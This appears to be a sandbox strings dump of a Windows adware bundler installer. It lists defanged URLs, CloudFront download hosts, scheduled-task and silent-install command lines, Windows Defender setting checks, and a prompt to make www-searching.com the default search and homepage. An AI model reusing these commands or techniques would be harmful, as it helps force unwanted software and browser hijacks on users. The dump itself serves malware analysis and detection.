[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Work] TID=%X
[CEventsThread::Work] TID=%X
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
Your %s is almost ready for use.
Your %s is almost ready for use.
Click YES on the next screen to allow %s to complete integration.
Click YES on the next screen to allow %s to complete integration.
wevtapi.dll
wevtapi.dll
%SystemRoot%\System32\Winevt\Logs\Application.evtx
%SystemRoot%\System32\Winevt\Logs\Application.evtx
Event / System[EventID = %d] /Provider[@Name='MsiInstaller']
Event / System[EventID = %d] /Provider[@Name='MsiInstaller']
EvtRender failed with %d
EvtRender failed with %d
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
%ddd
%ddd
SB_TASK_%d
SB_TASK_%d
CreateTask: Query IExecAction failed
CreateTask: Query IExecAction failed
RUNONCE_%d
RUNONCE_%d
PT%dS
PT%dS
d-d-dTd:d:d
d-d-dTd:d:d
PT%dH
PT%dH
; UnelevateExecutable: Initialize failed
; UnelevateExecutable: Initialize failed
UNELEVATE_%d
UNELEVATE_%d
; UnelevateExecutable: CreateTask failed
; UnelevateExecutable: CreateTask failed
; UnelevateExecutable: RegisterOnceTask failed
; UnelevateExecutable: RegisterOnceTask failed
; UnelevateExecutable: Task is still not running after 30 seconds. Task state = %d
; UnelevateExecutable: Task is still not running after 30 seconds. Task state = %d
%d.%d.%d.%d
%d.%d.%d.%d
Windows NT 6.1
Windows NT 6.1
Install.log
Install.log
@REGKEY
@REGKEY
.ReturnCode
.ReturnCode
cr.exe
cr.exe
%%SBDATE%%
%%SBDATE%%
%%SID%%
%%SID%%
%%SUB%%
%%SUB%%
%%FULL_SUB%%
%%FULL_SUB%%
GetXml - Magnet is empty: %s
GetXml - Magnet is empty: %s
&ver=%s&are=%s&qre=%s&avre=%s&kbd=%s&tz=%s&pp=%s
&ver=%s&are=%s&qre=%s&avre=%s&kbd=%s&tz=%s&pp=%s
GetFile - Failed to connect (Err=%d): %s
GetFile - Failed to connect (Err=%d): %s
GetFile - Failed to connect: %s
GetFile - Failed to connect: %s
GetFile - Get Failed (Err=%d): %s
GetFile - Get Failed (Err=%d): %s
GetFile - Get Failed: %s
GetFile - Get Failed: %s
GetFile - Read data Failed (Err=%d): %s
GetFile - Read data Failed (Err=%d): %s
GetFile - Read data failed: %s
GetFile - Read data failed: %s
Failed to create process file (%x). %s
Failed to create process file (%x). %s
Mtx%d
Mtx%d
Windows NT 5.1
Windows NT 5.1
Windows NT 6.2
Windows NT 6.2
Windows NT 6.0
Windows NT 6.0
Windows NT 5.0
Windows NT 5.0
?prd=%s&aff=%s&ver=%s&rnd=%d&tss=%d&action=%s&actionparam=%s&usid=%s
?prd=%s&aff=%s&ver=%s&rnd=%d&tss=%d&action=%s&actionparam=%s&usid=%s
/p.ashx
/p.ashx
Sock_Ping : getaddrinfo error = %d
Sock_Ping : getaddrinfo error = %d
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko; SBUA) Chrome/28.0.1500.95 Safari/537.36
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko; SBUA) Chrome/28.0.1500.95 Safari/537.36
GET %s HTTP/1.1
GET %s HTTP/1.1
Host: %s
Host: %s
User-Agent: %s
User-Agent: %s
close failed with error: %d
close failed with error: %d
/S /PING /Action=%s /ActionParams=%s /PingParams=%s
/S /PING /Action=%s /ActionParams=%s /PingParams=%s
/S /MAG=%s /INSTALL /dir=%s /products=%s /pixGuid=%s /sub=%s
/S /MAG=%s /INSTALL /dir=%s /products=%s /pixGuid=%s /sub=%s
ScheduleDownload Initialize Failed: %s
ScheduleDownload Initialize Failed: %s
ScheduleDownload CreateTask Failed: %s
ScheduleDownload CreateTask Failed: %s
Start time: %s. End time: %s.
Start time: %s. End time: %s.
ScheduleDownload RegisterDailyTask Failed: %s
ScheduleDownload RegisterDailyTask Failed: %s
ScheduleInstaller Initialize Failed: %s
ScheduleInstaller Initialize Failed: %s
ScheduleInstaller CreateTask Failed: %s
ScheduleInstaller CreateTask Failed: %s
ScheduleInstaller RegisterDailyTask Failed: %s
ScheduleInstaller RegisterDailyTask Failed: %s
DeleteScheduleDownload Initialize Failed: %s
DeleteScheduleDownload Initialize Failed: %s
DeleteScheduleDownload DeleteTask Failed: %s
DeleteScheduleDownload DeleteTask Failed: %s
\Installer\Install%s_%ld
\Installer\Install%s_%ld
ShellExecute:
ShellExecute:
Failed to create process file (%x).
Failed to create process file (%x).
Second shellExecute:
Second shellExecute:
RunAsAdmin failed : shell execute failed
RunAsAdmin failed : shell execute failed
HKEY_LOCAL_MACHINE64
HKEY_LOCAL_MACHINE64
Software\Microsoft\Windows NT\CurrentVersion
Software\Microsoft\Windows NT\CurrentVersion
Windows 10
Windows 10
Windows Vista
Windows Vista
Windows Server 2008
Windows Server 2008
Windows 7
Windows 7
Windows 8
Windows 8
Windows 8.1
Windows 8.1
Windows Server 2008 R2
Windows Server 2008 R2
Web Server Edition
Web Server Edition
Windows Server 2003 R2,
Windows Server 2003 R2,
Windows Storage Server 2003
Windows Storage Server 2003
Windows Home Server
Windows Home Server
Windows XP Professional x64 Edition
Windows XP Professional x64 Edition
Windows Server 2003,
Windows Server 2003,
Web Edition
Web Edition
Windows XP
Windows XP
Windows 2000
Windows 2000
(build %d)
(build %d)
FWCMD
FWCMD
GetTimeZoneInformation failed error %d
GetTimeZoneInformation failed error %d
CInstallerUtils::AccessRegistryKeyValue64Bit Error opening key
CInstallerUtils::AccessRegistryKeyValue64Bit Error opening key
CInstallerUtils::AccessRegistryKeyValue64Bit Could not read registry value
CInstallerUtils::AccessRegistryKeyValue64Bit Could not read registry value
SOFTWARE\Microsoft\Windows NT\CurrentVersion
SOFTWARE\Microsoft\Windows NT\CurrentVersion
d/d/%d d:d
d/d/%d d:d
%d seconds
%d seconds
SUCCESSKEY
SUCCESSKEY
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE
\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
REPORT
REPORT
TSMtx%d
TSMtx%d
%s /SECONDSTAGE /Mutex=%s /PIXGUID=%s
%s /SECONDSTAGE /Mutex=%s /PIXGUID=%s
Error creating shared memory. Err=%d
Error creating shared memory. Err=%d
Error running file: %s
Error running file: %s
Timeout expired (%d)
Timeout expired (%d)
Error opening mutex. Err=%d
Error opening mutex. Err=%d
Return code = %d
Return code = %d
Error reading return code. Err=%d
Error reading return code. Err=%d
dfb5uyoqjsg4c.cloudfront.net
dfb5uyoqjsg4c.cloudfront.net
d1cfk8e4o0c4u2.cloudfront.net
d1cfk8e4o0c4u2.cloudfront.net
d1vw44q53d84jx.cloudfront.net
d1vw44q53d84jx.cloudfront.net
Kernel32.dll
Kernel32.dll
Error %d
Error %d
ACUrl:
ACUrl:
ProxyUrl:
ProxyUrl:
ProxyBypass:
ProxyBypass:
Bkernel32.dll
Bkernel32.dll
HKEY_USERS
HKEY_USERS
HKEY_CLASSES_ROOT
HKEY_CLASSES_ROOT
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CURRENT_USER
BRWURLS
BRWURLS
CInstallMgr::Work, exception: %s
CInstallMgr::Work, exception: %s
KEYBOARD
KEYBOARD
XML is incorrect. Xml size=%d. Xml= %s
XML is incorrect. Xml size=%d. Xml= %s
XML is incorrect. Xml size=%d. Plain Xml= %s
XML is incorrect. Xml size=%d. Plain Xml= %s
XML %s
XML %s
bxsdk32.dll
bxsdk32.dll
Failed to download bxsdk dll. Error=%d
Failed to download bxsdk dll. Error=%d
MINVERURL
MINVERURL
REPORT_PROG
REPORT_PROG
/S /REPORT /NUM=%d /AFF=%s
/S /REPORT /NUM=%d /AFF=%s
PINGURL
PINGURL
Incorrect xml - No products Node. Xml size=%d
Incorrect xml - No products Node. Xml size=%d
ALTURL
ALTURL
REGKEY
REGKEY
AFFREGKEY
AFFREGKEY
OCSetupHlp.dll
OCSetupHlp.dll
OC_KEY
OC_KEY
IMAGE_URL
IMAGE_URL
Cur ver %s, min ver %s
Cur ver %s, min ver %s
/ENC /S /MAG=%s /INSTALL /dir=%s /products=%s /pixGuid=%s /sub=%s
/ENC /S /MAG=%s /INSTALL /dir=%s /products=%s /pixGuid=%s /sub=%s
%d of 1
%d of 1
%d of %d
%d of %d
CInstallMgr::ReportSize
CInstallMgr::ReportSize
Schedule report failed
Schedule report failed
SOFTWARE\Microsoft\Windows Defender\Real-Time Protection
SOFTWARE\Microsoft\Windows Defender\Real-Time Protection
SOFTWARE\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction
SOFTWARE\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction
SOFTWARE\Microsoft\Windows Defender\Signature Updates
SOFTWARE\Microsoft\Windows Defender\Signature Updates
SignatureVersion: %s ; RealTimeDisabled %d DownloadDisabled %d RunningDisabled %d ; DefActionSevere %d DefActionHigh %d DefActionMedium %d DefActionLow %d
SignatureVersion: %s ; RealTimeDisabled %d DownloadDisabled %d RunningDisabled %d ; DefActionSevere %d DefActionHigh %d DefActionMedium %d DefActionLow %d
OpenCandy init failed. Error=%d. Dll path=%s
OpenCandy init failed. Error=%d. Dll path=%s
Failed to download OpenCandy dll. Error=%d
Failed to download OpenCandy dll. Error=%d
Waited %d seconds
Waited %d seconds
%%successProd%%
%%successProd%%
%úiledProd%%
%úiledProd%%
Install %s
Install %s
Set and keep www-searching.com my default search and homepage
Set and keep www-searching.com my default search and homepage
By clicking Install, you agree to the Privacy Policy and Terms of Service
By clicking Install, you agree to the Privacy Policy and Terms of Service
Link %s
Link %s
Client for product key 1 loaded.
Client for product key 1 loaded.
Client for product key 2 loaded.
Client for product key 2 loaded.
Recommended by %s
Recommended by %s
Offer %d: Title: %s; Description: %s
Offer %d: Title: %s; Description: %s
Offer %d, Result %d
Offer %d, Result %d
Exception CHttpDownload::GetNextRange for URL %s
Exception CHttpDownload::GetNextRange for URL %s
CHttpDownload::Open handle %d to file %s
CHttpDownload::Open handle %d to file %s
Failed to open file %s, error = %d
Failed to open file %s, error = %d
__ERROR CHttpDownload::Read failed for file %s
__ERROR CHttpDownload::Read failed for file %s
CHttpDownload::Repot Bytes %I64d ,Total %I64d, by Downloader %d
CHttpDownload::Repot Bytes %I64d ,Total %I64d, by Downloader %d
Range=%I64d RangeReadBytes=%I64d connection %d Error %x
Range=%I64d RangeReadBytes=%I64d connection %d Error %x
RedownloadRange %s err = %d headers=%s
RedownloadRange %s err = %d headers=%s
CHttpDownload::RedownloadRange for URL %s
CHttpDownload::RedownloadRange for URL %s
%sid=%d_r=%lld_err=%d
%sid=%d_r=%lld_err=%d
CHttpDownload::ReportError for URL %s
CHttpDownload::ReportError for URL %s
CHttpDownload::GetNextRange for URL %s
CHttpDownload::GetNextRange for URL %s
Get Failed : connection %d err %s (0x%X)
Get Failed : connection %d err %s (0x%X)
CHttpDownload::DownloadNextRange for URL %s
CHttpDownload::DownloadNextRange for URL %s
CHttpDownload::Close handle %d to file %s
CHttpDownload::Close handle %d to file %s
CHttpDownload::NOT Close handle %d to file %s
CHttpDownload::NOT Close handle %d to file %s
CHttpDownload::Work for URL %s
CHttpDownload::Work for URL %s
PRESUCCESSKEY
PRESUCCESSKEY
DOWNLOAD START: %s
DOWNLOAD START: %s
Download Failed to createCHttpDownload:
Download Failed to createCHttpDownload:
Download Failed to createCHttpDownload: %s
Download Failed to createCHttpDownload: %s
Download - Failed to connect: %s
Download - Failed to connect: %s
Download - Get Failed: %s
Download - Get Failed: %s
Http Reply code = %d
Http Reply code = %d
Download Failed to create downloaders list: %s
Download Failed to create downloaders list: %s
CProductInstaller::Get for product: %s, exception: %s
CProductInstaller::Get for product: %s, exception: %s
CProductInstaller::GetNextRange - No Next Range for product %s
CProductInstaller::GetNextRange - No Next Range for product %s
CProductInstaller::GetNextRange - product %s start=%I64d end=%I64d size=%I64d
CProductInstaller::GetNextRange - product %s start=%I64d end=%I64d size=%I64d
CProductInstaller::Close for Product %s
CProductInstaller::Close for Product %s
DownloadMultiConnection:file %s exists on disk %s
DownloadMultiConnection:file %s exists on disk %s
DownloadOneConnection FromScheduler : %s
DownloadOneConnection FromScheduler : %s
DownloadOneConnection FromScheduler will download: %s, file DOES NOT exist on disk %s
DownloadOneConnection FromScheduler will download: %s, file DOES NOT exist on disk %s
Get failed (DownloadOneConnection): err=%s (0x%X)
Get failed (DownloadOneConnection): err=%s (0x%X)
Success %s FileSize= %I64d
Success %s FileSize= %I64d
DownloadMultiConnection FromScheduler : %s
DownloadMultiConnection FromScheduler : %s
DownloadMultiConnection FromScheduler will download: %s, file DOES NOT exist on disk %s
DownloadMultiConnection FromScheduler will download: %s, file DOES NOT exist on disk %s
Get failed (DownloadMultiConnection): err=%s (0x%X)
Get failed (DownloadMultiConnection): err=%s (0x%X)
INSTALL START: %s
INSTALL START: %s
/aff=%s /rnd=%d
/aff=%s /rnd=%d
/rnd=%d
/rnd=%d
CProductInstaller::InstallProduct for Product %s
CProductInstaller::InstallProduct for Product %s
DOWNLOAD BYTES: %s NumOfBytes = %I64d
DOWNLOAD BYTES: %s NumOfBytes = %I64d
DOWNLOAD NOT COMPLETED: %s
DOWNLOAD NOT COMPLETED: %s
Trying One Connection Fallback: %s
Trying One Connection Fallback: %s
Download failed, error (%x), %s - Trying Multiple Connection Fallback
Download failed, error (%x), %s - Trying Multiple Connection Fallback
RunFromScheduler: Trying Main Connection Fallback: %s
RunFromScheduler: Trying Main Connection Fallback: %s
Trying main URL in one Connection %s %s
Trying main URL in one Connection %s %s
Trying Alternative Connection Fallback: %s
Trying Alternative Connection Fallback: %s
Alternative Connection %s %s
Alternative Connection %s %s
Alternative Connection Failed: %s
Alternative Connection Failed: %s
Download failed, error (%x), %s %s
Download failed, error (%x), %s %s
Download failed, error (%x), %s
Download failed, error (%x), %s
CProductInstaller::OnDownloadNotCompleted for Product %s
CProductInstaller::OnDownloadNotCompleted for Product %s
OnDownloadCompleted: %s, exiting status %d
OnDownloadCompleted: %s, exiting status %d
status %d, id %d, total bytes %I64d, file size %I64d, %s
status %d, id %d, total bytes %I64d, file size %I64d, %s
DOWNLOAD END: %s %s
DOWNLOAD END: %s %s
%s, %d
%s, %d
DOWNLOAD END: Not all completed %s
DOWNLOAD END: Not all completed %s
%s FileSize= %I64d
%s FileSize= %I64d
CProductInstaller::OnDownloadCompleted for Product %s
CProductInstaller::OnDownloadCompleted for Product %s
INSTALL BEGIN: %s
INSTALL BEGIN: %s
INSTALL END: %s
INSTALL END: %s
CProductInstaller::OnInstallCompleted for Product %s
CProductInstaller::OnInstallCompleted for Product %s
Install failed, error: %s
Install failed, error: %s
%s: %s
%s: %s
CProductInstaller::OnInstallNotCompleted for Product %s
CProductInstaller::OnInstallNotCompleted for Product %s
%s - %s
%s - %s
SkipInstall - %s
SkipInstall - %s
/S /SCHEDULE /MAG=%s /pn=%s /pixGuid=%s /sub=%s /Reason=%s
/S /SCHEDULE /MAG=%s /pn=%s /pixGuid=%s /sub=%s /Reason=%s
CProductInstaller::AddToScheduler for Product %s
CProductInstaller::AddToScheduler for Product %s
CProductInstaller::RemoveFromScheduler for Product %s
CProductInstaller::RemoveFromScheduler for Product %s
RESUCCESSKEY
RESUCCESSKEY
%s:%s
%s:%s
UI screen timeout - %s
UI screen timeout - %s
CRandomCondition::IsToInstall value = %s
CRandomCondition::IsToInstall value = %s
CRandomCondition::IsToInstall mode result = %d
CRandomCondition::IsToInstall mode result = %d
%d:%d
%d:%d
CRandomCondition::IsToInstall Return %d
CRandomCondition::IsToInstall Return %d
CCMDLINE
CCMDLINE
YTDi 1.0.0.1
YTDi 1.0.0.1
1.0.0.1
1.0.0.1
CrashRpt YTDi 1.0.0.1 Error Report
CrashRpt YTDi 1.0.0.1 Error Report
/INSTALL /dir=%s /products=%s
/INSTALL /dir=%s /products=%s
HKEY_PERFORMANCE_DATA
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
HKEY_CURRENT_CONFIG
WAdvapi32.dll
WAdvapi32.dll
By clicking Next, you agree to install %s and agree to the Terms of Service and Privacy Policy.
By clicking Next, you agree to install %s and agree to the Terms of Service and Privacy Policy.
%s:%s;
%s:%s;
RICHED20.DLL
RICHED20.DLL
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Content-Type: multipart/form-data; boundary=%s
Content-Type: multipart/form-data; boundary=%s
HTTP/1.1
HTTP/1.1
XXX
XXX
Content-Disposition: form-data; name="%s"
Content-Disposition: form-data; name="%s"
HTTP/1.0
HTTP/1.0
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Software\Microsoft\Windows\CurrentVersion\Internet Settings
D%sLow\%s\
D%sLow\%s\
%s\%s\%s\
%s\%s\%s\
%C:\Users\Public\Documents\%s\%s\
%C:\Users\Public\Documents\%s\%s\
%s\Application Data\%s\%s\
%s\Application Data\%s\%s\
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::BackupTraceFile] %s
[SbTracer::BackupTraceFile] %s
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
\StringFileInfo\x\%s
\StringFileInfo\x\%s
d/d/%d d:d:d::d 0x%X>
d/d/%d d:d:d::d 0x%X>
the %s Terms and Privacy Policy
the %s Terms and Privacy Policy
@%s?e=%s
@%s?e=%s
zvl=%s&
zvl=%s&
File open error %d. File=%s
File open error %d. File=%s
File size is 0. File=%s
File size is 0. File=%s
Buffer allocation error %d
Buffer allocation error %d
SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}
SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}
K7OG9oW6WgVxfgLqeH0k5iDpzemsGesJQWy4MRDRIAg=
K7OG9oW6WgVxfgLqeH0k5iDpzemsGesJQWy4MRDRIAg=
c:\%original file name%.exe
c:\%original file name%.exe
2.11.0.999
2.11.0.999
ins_smk.exe_1788:
.text
.text
`.rdata
`.rdata
@.data
@.data
.ndata
.ndata
.rsrc
.rsrc
uDSSh
uDSSh
.DEFAULT\Control Panel\International
.DEFAULT\Control Panel\International
Software\Microsoft\Windows\CurrentVersion
Software\Microsoft\Windows\CurrentVersion
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
ExitWindowsEx
ExitWindowsEx
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
SHFileOperationA
SHFileOperationA
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
RegEnumKeyA
RegEnumKeyA
RegCreateKeyExA
RegCreateKeyExA
RegCloseKey
RegCloseKey
RegDeleteKeyA
RegDeleteKeyA
RegOpenKeyExA
RegOpenKeyExA
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
ole32.dll
ole32.dll
VERSION.dll
VERSION.dll
verifying installer: %d%%
verifying installer: %d%%
unpacking data: %d%%
unpacking data: %d%%
... %d%%
... %d%%
hXXp://nsis.sf.net/NSIS_Error
hXXp://nsis.sf.net/NSIS_Error
~nsu.tmp
~nsu.tmp
%u.%u%s%s
%u.%u%s%s
RegDeleteKeyExA
RegDeleteKeyExA
%s=%s
%s=%s
*?|/":
*?|/":
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsw3.tmp\nsExec.dll
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsw3.tmp\nsExec.dll
SMUninstall.exe
SMUninstall.exe
rObject.dll
rObject.dll
, /urlset=searching /remote
, /urlset=searching /remote
9-9999-46a2-b7a0-a6b4c690ad39, /urlset=searching /remote
9-9999-46a2-b7a0-a6b4c690ad39, /urlset=searching /remote
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsw3.tmp\nsExec.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsw3.tmp\nsExec.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsw3.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsw3.tmp
on\App Paths\smu.exe
on\App Paths\smu.exe
-b7a0-a6b4c690ad39, /urlset=searching /remote
-b7a0-a6b4c690ad39, /urlset=searching /remote
hXXp://VVV.usertrust.com1
hXXp://VVV.usertrust.com1
1hXXp://crl.usertrust.com/UTN-USERFirst-Object.crl0t
1hXXp://crl.usertrust.com/UTN-USERFirst-Object.crl0t
1hXXp://crt.usertrust.com/UTNAddTrustObject_CA.crt0%
1hXXp://crt.usertrust.com/UTNAddTrustObject_CA.crt0%
hXXp://ocsp.usertrust.com0
hXXp://ocsp.usertrust.com0
hXXps://secure.comodo.net/CPS0A
hXXps://secure.comodo.net/CPS0A
0hXXp://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
0hXXp://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
0hXXp://crt.comodoca.com/COMODOCodeSigningCA2.crt0$
0hXXp://crt.comodoca.com/COMODOCodeSigningCA2.crt0$
hXXp://ocsp.comodoca.com0
hXXp://ocsp.comodoca.com0
1hXXp://crl.usertrust.com/UTN-USERFirst-Object.crl05
1hXXp://crl.usertrust.com/UTN-USERFirst-Object.crl05
.reloc
.reloc
SShL0
SShL0
PeekNamedPipe
PeekNamedPipe
CreatePipe
CreatePipe
nsExec.dll
nsExec.dll
:":2:7:@:
:":2:7:@:
`.rsrc
`.rsrc
@.reloc
@.reloc
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
v2.0.50727
v2.0.50727
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsx4.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsx4.tmp
nsx4.tmp
nsx4.tmp
datePlus\smu.exe" /install /pin:1 "/s:F8VzSMTDK0,99999999-9999-46a2-b7a0-a6b4c690ad39," "/is:1" "/it:1" "/ih:1" "/ei:1" "/ci:1" "/fi:1" "/oi:1" "/urlset:searching""
datePlus\smu.exe" /install /pin:1 "/s:F8VzSMTDK0,99999999-9999-46a2-b7a0-a6b4c690ad39," "/is:1" "/it:1" "/ih:1" "/ei:1" "/ci:1" "/fi:1" "/oi:1" "/urlset:searching""
/db=all /is=1 /ih=1 /sparam=F8VzSMTDK0,99999999-9999-46a2-b7a0-a6b4c690ad39, /urlset=searching /remote
/db=all /is=1 /ih=1 /sparam=F8VzSMTDK0,99999999-9999-46a2-b7a0-a6b4c690ad39, /urlset=searching /remote
DK0,99999999-9999-46a2-b7a0-a6b4c690ad39,
DK0,99999999-9999-46a2-b7a0-a6b4c690ad39,
mk.exe /S /db=all /is=1 /ih=1 /sparam=F8VzSMTDK0,99999999-9999-46a2-b7a0-a6b4c690ad39, /urlset=searching /remote
mk.exe /S /db=all /is=1 /ih=1 /sparam=F8VzSMTDK0,99999999-9999-46a2-b7a0-a6b4c690ad39, /urlset=searching /remote
am=F8VzSMTDK0,99999999-9999-46a2-b7a0-a6b4c690ad39, /urlset=searching /remote
